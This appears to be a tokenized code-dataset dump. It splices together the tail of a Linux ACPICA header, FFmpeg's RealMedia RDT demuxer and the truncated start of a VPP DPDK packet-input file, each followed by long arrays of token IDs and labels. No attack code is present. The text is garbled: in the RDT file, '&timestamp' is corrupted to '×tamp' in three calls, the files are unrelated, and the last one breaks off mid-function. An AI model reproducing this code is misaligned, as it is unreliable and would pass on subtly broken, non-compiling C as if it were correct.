/* External globals for __KERNEL__, stubs is needed */
#define ACPI_GLOBAL(t,a)
#define ACPI_INIT_GLOBAL(t,a,b)
/* Generating stubs for configurable ACPICA macros */
#define ACPI_NO_MEM_ALLOCATIONS
/* Generating stubs for configurable ACPICA functions */
#define ACPI_NO_ERROR_MESSAGES
#undef ACPI_DEBUG_OUTPUT
/* External interface for __KERNEL__, stub is needed */
#define ACPI_EXTERNAL_RETURN_STATUS(prototype) \
static ACPI_INLINE prototype {return(AE_NOT_CONFIGURED);}
#define ACPI_EXTERNAL_RETURN_OK(prototype) \
static ACPI_INLINE prototype {return(AE_OK);}
#define ACPI_EXTERNAL_RETURN_VOID(prototype) \
static ACPI_INLINE prototype {return;}
#define ACPI_EXTERNAL_RETURN_UINT32(prototype) \
static ACPI_INLINE prototype {return(0);}
#define ACPI_EXTERNAL_RETURN_PTR(prototype) \
static ACPI_INLINE prototype {return(NULL);}
#endif /* CONFIG_ACPI */
/* Host-dependent types and defines for in-kernel ACPICA */
#define ACPI_MACHINE_WIDTH BITS_PER_LONG
#define ACPI_EXPORT_SYMBOL(symbol) EXPORT_SYMBOL(symbol);
#define strtoul simple_strtoul
#define acpi_cache_t struct kmem_cache
#define acpi_spinlock spinlock_t *
#define acpi_cpu_flags unsigned long
/* Use native linux version of acpi_os_allocate_zeroed */
#define USE_NATIVE_ALLOCATE_ZEROED
/*
* Overrides for in-kernel ACPICA
*/
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_initialize
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_terminate
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_allocate
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_allocate_zeroed
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_free
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_acquire_object
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_get_thread_id
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_create_lock
/*
* OSL interfaces used by debugger/disassembler
*/
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_readable
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_writable
/*
* OSL interfaces used by utilities
*/
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_redirect_output
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_get_line
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_get_table_by_name
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_get_table_by_index
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_get_table_by_address
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_open_directory
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_get_next_filename
#define ACPI_USE_ALTERNATE_PROTOTYPE_acpi_os_close_directory
#else /* !__KERNEL__ */
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
/* Define/disable kernel-specific declarators */
#ifndef __init
#define __init
#endif
/* Host-dependent types and defines for user-space ACPICA */
#define ACPI_FLUSH_CPU_CACHE()
#define ACPI_CAST_PTHREAD_T(pthread) ((acpi_thread_id) (pthread))
#if defined(__ia64__) || defined(__x86_64__) ||\
defined(__aarch64__) || defined(__PPC64__)
#define ACPI_MACHINE_WIDTH 64
#define COMPILER_DEPENDENT_INT64 long
#define COMPILER_DEPENDENT_UINT64 unsigned long
#else
#define ACPI_MACHINE_WIDTH 32
#define COMPILER_DEPENDENT_INT64 long long
#define COMPILER_DEPENDENT_UINT64 unsigned long long
#define ACPI_USE_NATIVE_DIVIDE
#endif
#ifndef __cdecl
#define __cdecl
#endif
#endif /* __KERNEL__ */
/* Linux uses GCC */
#include <acpi/platform/acgcc.h>
#endif /* __ACLINUX_H__ */
| systemdaemon/systemd | src/linux/include/acpi/platform/aclinux.h | C | gpl-2.0 | 6,575 | [
30522,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Realmedia RTSP protocol (RDT) support.
* Copyright (c) 2007 Ronald S. Bultje
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with FFmpeg; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
/**
* @file
* @brief Realmedia RTSP protocol (RDT) support
* @author Ronald S. Bultje <rbultje@ronald.bitfreak.net>
*/
#include "avformat.h"
#include "libavutil/avstring.h"
#include "rtpdec.h"
#include "rdt.h"
#include "libavutil/base64.h"
#include "libavutil/md5.h"
#include "rm.h"
#include "internal.h"
#include "avio_internal.h"
#include "libavcodec/get_bits.h"
struct RDTDemuxContext {
AVFormatContext *ic; /**< the containing (RTSP) demux context */
/** Each RDT stream-set (represented by one RTSPStream) can contain
* multiple streams (of the same content, but with possibly different
* codecs/bitrates). Each such stream is represented by one AVStream
* in the AVFormatContext, and this variable points to the offset in
* that array such that the first is the first stream of this set. */
AVStream **streams;
int n_streams; /**< streams with identifical content in this set */
void *dynamic_protocol_context;
DynamicPayloadPacketHandlerProc parse_packet;
uint32_t prev_timestamp;
int prev_set_id, prev_stream_id;
};
RDTDemuxContext *
ff_rdt_parse_open(AVFormatContext *ic, int first_stream_of_set_idx,
void *priv_data, RTPDynamicProtocolHandler *handler)
{
RDTDemuxContext *s = av_mallocz(sizeof(RDTDemuxContext));
if (!s)
return NULL;
s->ic = ic;
s->streams = &ic->streams[first_stream_of_set_idx];
do {
s->n_streams++;
} while (first_stream_of_set_idx + s->n_streams < ic->nb_streams &&
s->streams[s->n_streams]->id == s->streams[0]->id);
s->prev_set_id = -1;
s->prev_stream_id = -1;
s->prev_timestamp = -1;
s->parse_packet = handler ? handler->parse_packet : NULL;
s->dynamic_protocol_context = priv_data;
return s;
}
void
ff_rdt_parse_close(RDTDemuxContext *s)
{
av_free(s);
}
struct PayloadContext {
AVFormatContext *rmctx;
int nb_rmst;
RMStream **rmst;
uint8_t *mlti_data;
unsigned int mlti_data_size;
char buffer[RTP_MAX_PACKET_LENGTH + FF_INPUT_BUFFER_PADDING_SIZE];
int audio_pkt_cnt; /**< remaining audio packets in rmdec */
};
void
ff_rdt_calc_response_and_checksum(char response[41], char chksum[9],
const char *challenge)
{
int ch_len = strlen (challenge), i;
unsigned char zres[16],
buf[64] = { 0xa1, 0xe9, 0x14, 0x9d, 0x0e, 0x6b, 0x3b, 0x59 };
#define XOR_TABLE_SIZE 37
const unsigned char xor_table[XOR_TABLE_SIZE] = {
0x05, 0x18, 0x74, 0xd0, 0x0d, 0x09, 0x02, 0x53,
0xc0, 0x01, 0x05, 0x05, 0x67, 0x03, 0x19, 0x70,
0x08, 0x27, 0x66, 0x10, 0x10, 0x72, 0x08, 0x09,
0x63, 0x11, 0x03, 0x71, 0x08, 0x08, 0x70, 0x02,
0x10, 0x57, 0x05, 0x18, 0x54 };
/* some (length) checks */
if (ch_len == 40) /* what a hack... */
ch_len = 32;
else if (ch_len > 56)
ch_len = 56;
memcpy(buf + 8, challenge, ch_len);
/* xor challenge bytewise with xor_table */
for (i = 0; i < XOR_TABLE_SIZE; i++)
buf[8 + i] ^= xor_table[i];
av_md5_sum(zres, buf, 64);
ff_data_to_hex(response, zres, 16, 1);
/* add tail */
strcpy (response + 32, "01d0a8e3");
/* calculate checksum */
for (i = 0; i < 8; i++)
chksum[i] = response[i * 4];
chksum[8] = 0;
}
static int
rdt_load_mdpr (PayloadContext *rdt, AVStream *st, int rule_nr)
{
AVIOContext pb;
int size;
uint32_t tag;
/**
* Layout of the MLTI chunk:
* 4: MLTI
* 2: number of streams
* Then for each stream ([number_of_streams] times):
* 2: mdpr index
* 2: number of mdpr chunks
* Then for each mdpr chunk ([number_of_mdpr_chunks] times):
* 4: size
* [size]: data
* we skip MDPR chunks until we reach the one of the stream
* we're interested in, and forward that ([size]+[data]) to
* the RM demuxer to parse the stream-specific header data.
*/
if (!rdt->mlti_data)
return -1;
ffio_init_context(&pb, rdt->mlti_data, rdt->mlti_data_size, 0,
NULL, NULL, NULL, NULL);
tag = avio_rl32(&pb);
if (tag == MKTAG('M', 'L', 'T', 'I')) {
int num, chunk_nr;
/* read index of MDPR chunk numbers */
num = avio_rb16(&pb);
if (rule_nr < 0 || rule_nr >= num)
return -1;
avio_seek(&pb, rule_nr * 2, SEEK_CUR);
chunk_nr = avio_rb16(&pb);
avio_seek(&pb, (num - 1 - rule_nr) * 2, SEEK_CUR);
/* read MDPR chunks */
num = avio_rb16(&pb);
if (chunk_nr >= num)
return -1;
while (chunk_nr--)
avio_seek(&pb, avio_rb32(&pb), SEEK_CUR);
size = avio_rb32(&pb);
} else {
size = rdt->mlti_data_size;
avio_seek(&pb, 0, SEEK_SET);
}
if (ff_rm_read_mdpr_codecdata(rdt->rmctx, &pb, st, rdt->rmst[st->index], size) < 0)
return -1;
return 0;
}
/**
* Actual data handling.
*/
int
ff_rdt_parse_header(const uint8_t *buf, int len,
int *pset_id, int *pseq_no, int *pstream_id,
int *pis_keyframe, uint32_t *ptimestamp)
{
GetBitContext gb;
int consumed = 0, set_id, seq_no, stream_id, is_keyframe,
len_included, need_reliable;
uint32_t timestamp;
/* skip status packets */
while (len >= 5 && buf[1] == 0xFF /* status packet */) {
int pkt_len;
if (!(buf[0] & 0x80))
return -1; /* not followed by a data packet */
pkt_len = AV_RB16(buf+3);
buf += pkt_len;
len -= pkt_len;
consumed += pkt_len;
}
if (len < 16)
return -1;
/**
* Layout of the header (in bits):
* 1: len_included
* Flag indicating whether this header includes a length field;
* this can be used to concatenate multiple RDT packets in a
* single UDP/TCP data frame and is used to precede RDT data
* by stream status packets
* 1: need_reliable
* Flag indicating whether this header includes a "reliable
* sequence number"; these are apparently sequence numbers of
* data packets alone. For data packets, this flag is always
* set, according to the Real documentation [1]
* 5: set_id
* ID of a set of streams of identical content, possibly with
* different codecs or bitrates
* 1: is_reliable
* Flag set for certain streams deemed less tolerable for packet
* loss
* 16: seq_no
* Packet sequence number; if >=0xFF00, this is a non-data packet
* containing stream status info, the second byte indicates the
* type of status packet (see wireshark docs / source code [2])
* if (len_included) {
* 16: packet_len
* } else {
* packet_len = remainder of UDP/TCP frame
* }
* 1: is_back_to_back
* Back-to-Back flag; used for timing, set for one in every 10
* packets, according to the Real documentation [1]
* 1: is_slow_data
* Slow-data flag; currently unused, according to Real docs [1]
* 5: stream_id
* ID of the stream within this particular set of streams
* 1: is_no_keyframe
* Non-keyframe flag (unset if packet belongs to a keyframe)
* 32: timestamp (PTS)
* if (set_id == 0x1F) {
* 16: set_id (extended set-of-streams ID; see set_id)
* }
* if (need_reliable) {
* 16: reliable_seq_no
* Reliable sequence number (see need_reliable)
* }
* if (stream_id == 0x3F) {
* 16: stream_id (extended stream ID; see stream_id)
* }
* [1] https://protocol.helixcommunity.org/files/2005/devdocs/RDT_Feature_Level_20.txt
* [2] http://www.wireshark.org/docs/dfref/r/rdt.html and
* http://anonsvn.wireshark.org/viewvc/trunk/epan/dissectors/packet-rdt.c
*/
init_get_bits(&gb, buf, len << 3);
len_included = get_bits1(&gb);
need_reliable = get_bits1(&gb);
set_id = get_bits(&gb, 5);
skip_bits(&gb, 1);
seq_no = get_bits(&gb, 16);
if (len_included)
skip_bits(&gb, 16);
skip_bits(&gb, 2);
stream_id = get_bits(&gb, 5);
is_keyframe = !get_bits1(&gb);
timestamp = get_bits_long(&gb, 32);
if (set_id == 0x1f)
set_id = get_bits(&gb, 16);
if (need_reliable)
skip_bits(&gb, 16);
if (stream_id == 0x1f)
stream_id = get_bits(&gb, 16);
if (pset_id) *pset_id = set_id;
if (pseq_no) *pseq_no = seq_no;
if (pstream_id) *pstream_id = stream_id;
if (pis_keyframe) *pis_keyframe = is_keyframe;
if (ptimestamp) *ptimestamp = timestamp;
return consumed + (get_bits_count(&gb) >> 3);
}
/**< return 0 on packet, no more left, 1 on packet, 1 on partial packet... */
static int
rdt_parse_packet (AVFormatContext *ctx, PayloadContext *rdt, AVStream *st,
AVPacket *pkt, uint32_t *timestamp,
const uint8_t *buf, int len, int flags)
{
int seq = 1, res;
AVIOContext pb;
if (rdt->audio_pkt_cnt == 0) {
int pos;
ffio_init_context(&pb, buf, len, 0, NULL, NULL, NULL, NULL);
flags = (flags & RTP_FLAG_KEY) ? 2 : 0;
res = ff_rm_parse_packet (rdt->rmctx, &pb, st, rdt->rmst[st->index], len, pkt,
&seq, flags, *timestamp);
pos = url_ftell(&pb);
if (res < 0)
return res;
if (res > 0) {
if (st->codec->codec_id == CODEC_ID_AAC) {
memcpy (rdt->buffer, buf + pos, len - pos);
rdt->rmctx->pb = avio_alloc_context (rdt->buffer, len - pos, 0,
NULL, NULL, NULL, NULL);
}
goto get_cache;
}
} else {
get_cache:
rdt->audio_pkt_cnt =
ff_rm_retrieve_cache (rdt->rmctx, rdt->rmctx->pb,
st, rdt->rmst[st->index], pkt);
if (rdt->audio_pkt_cnt == 0 &&
st->codec->codec_id == CODEC_ID_AAC)
av_freep(&rdt->rmctx->pb);
}
pkt->stream_index = st->index;
pkt->pts = *timestamp;
return rdt->audio_pkt_cnt > 0;
}
int
ff_rdt_parse_packet(RDTDemuxContext *s, AVPacket *pkt,
uint8_t **bufptr, int len)
{
uint8_t *buf = bufptr ? *bufptr : NULL;
int seq_no, flags = 0, stream_id, set_id, is_keyframe;
uint32_t timestamp;
int rv= 0;
if (!s->parse_packet)
return -1;
if (!buf && s->prev_stream_id != -1) {
/* return the next packets, if any */
timestamp= 0; ///< Should not be used if buf is NULL, but should be set to the timestamp of the packet returned....
rv= s->parse_packet(s->ic, s->dynamic_protocol_context,
s->streams[s->prev_stream_id],
pkt, ×tamp, NULL, 0, flags);
return rv;
}
if (len < 12)
return -1;
rv = ff_rdt_parse_header(buf, len, &set_id, &seq_no, &stream_id, &is_keyframe, ×tamp);
if (rv < 0)
return rv;
if (is_keyframe &&
(set_id != s->prev_set_id || timestamp != s->prev_timestamp ||
stream_id != s->prev_stream_id)) {
flags |= RTP_FLAG_KEY;
s->prev_set_id = set_id;
s->prev_timestamp = timestamp;
}
s->prev_stream_id = stream_id;
buf += rv;
len -= rv;
if (s->prev_stream_id >= s->n_streams) {
s->prev_stream_id = -1;
return -1;
}
rv = s->parse_packet(s->ic, s->dynamic_protocol_context,
s->streams[s->prev_stream_id],
pkt, ×tamp, buf, len, flags);
return rv;
}
void
ff_rdt_subscribe_rule (char *cmd, int size,
int stream_nr, int rule_nr)
{
av_strlcatf(cmd, size, "stream=%d;rule=%d,stream=%d;rule=%d",
stream_nr, rule_nr * 2, stream_nr, rule_nr * 2 + 1);
}
static unsigned char *
rdt_parse_b64buf (unsigned int *target_len, const char *p)
{
unsigned char *target;
int len = strlen(p);
if (*p == '\"') {
p++;
len -= 2; /* skip embracing " at start/end */
}
*target_len = len * 3 / 4;
target = av_mallocz(*target_len + FF_INPUT_BUFFER_PADDING_SIZE);
av_base64_decode(target, p, *target_len);
return target;
}
static int
rdt_parse_sdp_line (AVFormatContext *s, int st_index,
PayloadContext *rdt, const char *line)
{
AVStream *stream = s->streams[st_index];
const char *p = line;
if (av_strstart(p, "OpaqueData:buffer;", &p)) {
rdt->mlti_data = rdt_parse_b64buf(&rdt->mlti_data_size, p);
} else if (av_strstart(p, "StartTime:integer;", &p))
stream->first_dts = atoi(p);
else if (av_strstart(p, "ASMRuleBook:string;", &p)) {
int n, first = -1;
for (n = 0; n < s->nb_streams; n++)
if (s->streams[n]->id == stream->id) {
int count = s->streams[n]->index + 1;
if (first == -1) first = n;
if (rdt->nb_rmst < count) {
RMStream **rmst= av_realloc(rdt->rmst, count*sizeof(*rmst));
if (!rmst)
return AVERROR(ENOMEM);
memset(rmst + rdt->nb_rmst, 0,
(count - rdt->nb_rmst) * sizeof(*rmst));
rdt->rmst = rmst;
rdt->nb_rmst = count;
}
rdt->rmst[s->streams[n]->index] = ff_rm_alloc_rmstream();
rdt_load_mdpr(rdt, s->streams[n], (n - first) * 2);
if (s->streams[n]->codec->codec_id == CODEC_ID_AAC)
s->streams[n]->codec->frame_size = 1; // FIXME
}
}
return 0;
}
static void
real_parse_asm_rule(AVStream *st, const char *p, const char *end)
{
do {
/* can be either averagebandwidth= or AverageBandwidth= */
if (sscanf(p, " %*1[Aa]verage%*1[Bb]andwidth=%d", &st->codec->bit_rate) == 1)
break;
if (!(p = strchr(p, ',')) || p > end)
p = end;
p++;
} while (p < end);
}
static AVStream *
add_dstream(AVFormatContext *s, AVStream *orig_st)
{
AVStream *st;
if (!(st = av_new_stream(s, orig_st->id)))
return NULL;
st->codec->codec_type = orig_st->codec->codec_type;
st->first_dts = orig_st->first_dts;
return st;
}
static void
real_parse_asm_rulebook(AVFormatContext *s, AVStream *orig_st,
const char *p)
{
const char *end;
int n_rules = 0, odd = 0;
AVStream *st;
/**
* The ASMRuleBook contains a list of comma-separated strings per rule,
* and each rule is separated by a ;. The last one also has a ; at the
* end so we can use it as delimiter.
* Every rule occurs twice, once for when the RTSP packet header marker
* is set and once for if it isn't. We only read the first because we
* don't care much (that's what the "odd" variable is for).
* Each rule contains a set of one or more statements, optionally
* preceeded by a single condition. If there's a condition, the rule
* starts with a '#'. Multiple conditions are merged between brackets,
* so there are never multiple conditions spread out over separate
* statements. Generally, these conditions are bitrate limits (min/max)
* for multi-bitrate streams.
*/
if (*p == '\"') p++;
while (1) {
if (!(end = strchr(p, ';')))
break;
if (!odd && end != p) {
if (n_rules > 0)
st = add_dstream(s, orig_st);
else
st = orig_st;
if (!st)
break;
real_parse_asm_rule(st, p, end);
n_rules++;
}
p = end + 1;
odd ^= 1;
}
}
void
ff_real_parse_sdp_a_line (AVFormatContext *s, int stream_index,
const char *line)
{
const char *p = line;
if (av_strstart(p, "ASMRuleBook:string;", &p))
real_parse_asm_rulebook(s, s->streams[stream_index], p);
}
static PayloadContext *
rdt_new_context (void)
{
PayloadContext *rdt = av_mallocz(sizeof(PayloadContext));
av_open_input_stream(&rdt->rmctx, NULL, "", &ff_rdt_demuxer, NULL);
return rdt;
}
static void
rdt_free_context (PayloadContext *rdt)
{
int i;
for (i = 0; i < rdt->nb_rmst; i++)
if (rdt->rmst[i]) {
ff_rm_free_rmstream(rdt->rmst[i]);
av_freep(&rdt->rmst[i]);
}
if (rdt->rmctx)
av_close_input_stream(rdt->rmctx);
av_freep(&rdt->mlti_data);
av_freep(&rdt->rmst);
av_free(rdt);
}
#if __STDC_VERSION >= 1999001L
#define RDT_HANDLER(n, s, t) \
static RTPDynamicProtocolHandler ff_rdt_ ## n ## _handler = { \
.enc_name = s, \
.codec_type = t, \
.codec_id = CODEC_ID_NONE, \
.parse_sdp_a_line = rdt_parse_sdp_line, \
.open = rdt_new_context, \
.close = rdt_free_context, \
.parse_packet = rdt_parse_packet \
}
#else
#define RDT_HANDLER(n, s, t) \
static RTPDynamicProtocolHandler ff_rdt_ ## n ## _handler = { \
s, \
t, \
CODEC_ID_NONE, \
0, \
rdt_parse_sdp_line, \
rdt_new_context, \
rdt_free_context, \
rdt_parse_packet \
, NULL \
}
#endif
RDT_HANDLER(live_video, "x-pn-multirate-realvideo-live", AVMEDIA_TYPE_VIDEO);
RDT_HANDLER(live_audio, "x-pn-multirate-realaudio-live", AVMEDIA_TYPE_AUDIO);
RDT_HANDLER(video, "x-pn-realvideo", AVMEDIA_TYPE_VIDEO);
RDT_HANDLER(audio, "x-pn-realaudio", AVMEDIA_TYPE_AUDIO);
void av_register_rdt_dynamic_payload_handlers(void)
{
ff_register_dynamic_payload_handler(&ff_rdt_video_handler);
ff_register_dynamic_payload_handler(&ff_rdt_audio_handler);
ff_register_dynamic_payload_handler(&ff_rdt_live_video_handler);
ff_register_dynamic_payload_handler(&ff_rdt_live_audio_handler);
}
| ging/isabel | lib/ffmpeg/Win32/src/ffmpeg/libavformat/rdt.c | C | agpl-3.0 | 18,890 | [
30522,
1013,
1008,
1008,
8391,
2098,
2401,
19387,
13102,
8778,
1006,
16428,
2102,
1007,
2490,
1012,
1008,
9385,
1006,
1039,
1007,
2289,
8923,
1055,
1012,
20934,
7096,
6460,
1008,
1008,
2023,
5371,
2003,
2112,
1997,
21461,
8737,
13910,
1012,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright (c) 2015 Cisco and/or its affiliates.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <vnet/vnet.h>
#include <vppinfra/vec.h>
#include <vppinfra/error.h>
#include <vppinfra/format.h>
#include <vppinfra/xxhash.h>
#include <vnet/ethernet/ethernet.h>
#include <dpdk/buffer.h>
#include <dpdk/device/dpdk.h>
#include <vnet/classify/vnet_classify.h>
#include <vnet/mpls/packet.h>
#include <vnet/handoff.h>
#include <vnet/devices/devices.h>
#include <vnet/feature/feature.h>
#include <dpdk/device/dpdk_priv.h>
static char *dpdk_error_strings[] = {
#define _(n,s) s,
foreach_dpdk_error
#undef _
};
/* make sure all flags we need are stored in lower 8 bits */
STATIC_ASSERT ((PKT_RX_IP_CKSUM_BAD | PKT_RX_FDIR) <
256, "dpdk flags not un lower byte, fix needed");
static_always_inline uword
dpdk_process_subseq_segs (vlib_main_t * vm, vlib_buffer_t * b,
struct rte_mbuf *mb, vlib_buffer_t * bt)
{
u8 nb_seg = 1;
struct rte_mbuf *mb_seg = 0;
vlib_buffer_t *b_seg, *b_chain = 0;
mb_seg = mb->next;
b_chain = b;
if (mb->nb_segs < 2)
return 0;
b->flags |= VLIB_BUFFER_TOTAL_LENGTH_VALID;
b->total_length_not_including_first_buffer = 0;
while (nb_seg < mb->nb_segs)
{
ASSERT (mb_seg != 0);
b_seg = vlib_buffer_from_rte_mbuf (mb_seg);
vlib_buffer_copy_template (b_seg, bt);
/*
* The driver (e.g. virtio) may not put the packet data at the start
* of the segment, so don't assume b_seg->current_data == 0 is correct.
*/
b_seg->current_data =
(mb_seg->buf_addr + mb_seg->data_off) - (void *) b_seg->data;
b_seg->current_length = mb_seg->data_len;
b->total_length_not_including_first_buffer += mb_seg->data_len;
b_chain->flags |= VLIB_BUFFER_NEXT_PRESENT;
b_chain->next_buffer = vlib_get_buffer_index (vm, b_seg);
b_chain = b_seg;
mb_seg = mb_seg->next;
nb_seg++;
}
return b->total_length_not_including_first_buffer;
}
static_always_inline void
dpdk_prefetch_mbuf_x4 (struct rte_mbuf *mb[])
{
CLIB_PREFETCH (mb[0], CLIB_CACHE_LINE_BYTES, LOAD);
CLIB_PREFETCH (mb[1], CLIB_CACHE_LINE_BYTES, LOAD);
CLIB_PREFETCH (mb[2], CLIB_CACHE_LINE_BYTES, LOAD);
CLIB_PREFETCH (mb[3], CLIB_CACHE_LINE_BYTES, LOAD);
}
static_always_inline void
dpdk_prefetch_buffer_x4 (struct rte_mbuf *mb[])
{
vlib_buffer_t *b;
b = vlib_buffer_from_rte_mbuf (mb[0]);
CLIB_PREFETCH (b, CLIB_CACHE_LINE_BYTES, LOAD);
b = vlib_buffer_from_rte_mbuf (mb[1]);
CLIB_PREFETCH (b, CLIB_CACHE_LINE_BYTES, LOAD);
b = vlib_buffer_from_rte_mbuf (mb[2]);
CLIB_PREFETCH (b, CLIB_CACHE_LINE_BYTES, LOAD);
b = vlib_buffer_from_rte_mbuf (mb[3]);
CLIB_PREFETCH (b, CLIB_CACHE_LINE_BYTES, LOAD);
}
/** \brief Main DPDK input node
@node dpdk-input
This is the main DPDK input node: across each assigned interface,
call rte_eth_rx_burst(...) or similar to obtain a vector of
packets to process. Derive @c vlib_buffer_t metadata from
<code>struct rte_mbuf</code> metadata,
Depending on the resulting metadata: adjust <code>b->current_data,
b->current_length </code> and dispatch directly to
ip4-input-no-checksum, or ip6-input. Trace the packet if required.
@param vm vlib_main_t corresponding to the current thread
@param node vlib_node_runtime_t
@param f vlib_frame_t input-node, not used.
@par Graph mechanics: buffer metadata, next index usage
@em Uses:
- <code>struct rte_mbuf mb->ol_flags</code>
- PKT_RX_IP_CKSUM_BAD
@em Sets:
- <code>b->error</code> if the packet is to be dropped immediately
- <code>b->current_data, b->current_length</code>
- adjusted as needed to skip the L2 header in direct-dispatch cases
- <code>vnet_buffer(b)->sw_if_index[VLIB_RX]</code>
- rx interface sw_if_index
- <code>vnet_buffer(b)->sw_if_index[VLIB_TX] = ~0</code>
- required by ipX-lookup
- <code>b->flags</code>
- to indicate multi-segment pkts (VLIB_BUFFER_NEXT_PRESENT), etc.
<em>Next Nodes:</em>
- Static arcs to: error-drop, ethernet-input,
ip4-input-no-checksum, ip6-input, mpls-input
- per-interface redirection, controlled by
<code>xd->per_interface_next_index</code>
*/
static_always_inline u16
dpdk_ol_flags_extract (struct rte_mbuf **mb, u16 * flags, int count)
{
u16 rv = 0;
int i;
for (i = 0; i < count; i++)
{
/* all flags we are interested in are in lower 8 bits but
that might change */
flags[i] = (u16) mb[i]->ol_flags;
rv |= flags[i];
}
return rv;
}
static_always_inline uword
dpdk_process_rx_burst (vlib_main_t * vm, dpdk_per_thread_data_t * ptd,
uword n_rx_packets, int maybe_multiseg,
u16 * or_flagsp)
{
u32 n_left = n_rx_packets;
vlib_buffer_t *b[4];
struct rte_mbuf **mb = ptd->mbufs;
uword n_bytes = 0;
u16 *flags, or_flags = 0;
vlib_buffer_t bt;
mb = ptd->mbufs;
flags = ptd->flags;
/* copy template into local variable - will save per packet load */
vlib_buffer_copy_template (&bt, &ptd->buffer_template);
while (n_left >= 8)
{
dpdk_prefetch_buffer_x4 (mb + 4);
b[0] = vlib_buffer_from_rte_mbuf (mb[0]);
b[1] = vlib_buffer_from_rte_mbuf (mb[1]);
b[2] = vlib_buffer_from_rte_mbuf (mb[2]);
b[3] = vlib_buffer_from_rte_mbuf (mb[3]);
vlib_buffer_copy_template (b[0], &bt);
vlib_buffer_copy_template (b[1], &bt);
vlib_buffer_copy_template (b[2], &bt);
vlib_buffer_copy_template (b[3], &bt);
dpdk_prefetch_mbuf_x4 (mb + 4);
or_flags |= dpdk_ol_flags_extract (mb, flags, 4);
flags += 4;
b[0]->current_data = mb[0]->data_off - RTE_PKTMBUF_HEADROOM;
n_bytes += b[0]->current_length = mb[0]->data_len;
b[1]->current_data = mb[1]->data_off - RTE_PKTMBUF_HEADROOM;
n_bytes += b[1]->current_length = mb[1]->data_len;
b[2]->current_data = mb[2]->data_off - RTE_PKTMBUF_HEADROOM;
n_bytes += b[2]->current_length = mb[2]->data_len;
b[3]->current_data = mb[3]->data_off - RTE_PKTMBUF_HEADROOM;
n_bytes += b[3]->current_length = mb[3]->data_len;
if (maybe_multiseg)
{
n_bytes += dpdk_process_subseq_segs (vm, b[0], mb[0], &bt);
